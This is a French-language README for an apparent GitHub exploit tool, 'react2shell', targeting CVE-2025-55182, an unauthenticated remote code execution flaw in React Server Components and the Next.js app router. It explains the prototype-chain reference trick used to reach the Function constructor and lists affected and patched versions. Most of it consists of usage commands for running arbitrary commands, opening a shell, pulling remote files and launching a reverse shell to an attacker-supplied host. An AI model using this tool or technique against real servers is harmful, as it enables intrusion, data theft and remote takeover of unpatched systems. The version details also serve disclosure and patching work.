rvzsec/react2shellreact2shell - CVE-2025-55182 (Next.js : CVE-2025-66478) - RCE non authentifié dans les composants serveur React (protocole Flight) - Exploit PoC
CVE-2025-55182 (Next.js: CVE-2025-66478)
RCE non authentifiée dans les composants serveur React (protocole Flight) - Exploit PoC
Les composants serveur React (protocole Flight) désérialisent des données multipart/form-data contrôlées par l'attaquant sans valider l'accès à la chaîne de prototypes. Une seule requête POST non authentifiée avec un en-tête Next-Action atteint le constructeur Function via une chaîne de références conçue ($1:__proto__:then + $1:constructor:constructor), entraînant l'exécution de code à distance sur le serveur.
Concerne react-server-dom-{webpack,turbopack,parcel} 19.0.0 - 19.2.0 et les consommateurs en aval, y compris le routeur d'application Next.js (14.3.0-canary.77+, 15.x, 16.x). Les projets par défaut create-next-app sont vulnérables.
git clone https://github.com/rvzsec/react2shell
cd react2shell
pip3 install -r requirements.txt
python3 react2shell.py check -t <cible>
python3 react2shell.py exec -t <cible> -c '<commande>'
python3 react2shell.py shell -t <cible>
python3 react2shell.py file -t <cible> -f <chemin-distant> -o <sortie-locale>
python3 react2shell.py revshell -t <cible> --lhost <ip> --lport <port>
React 19.0.1 / 19.1.2 / 19.2.1+ - Next.js 15.0.5 / 15.1.9 / 15.2.6 / 15.3.6 / 15.4.8 / 15.5.7 / 16.0.7
Divulgation originale : Lachlan Davidson (@lachlan2k)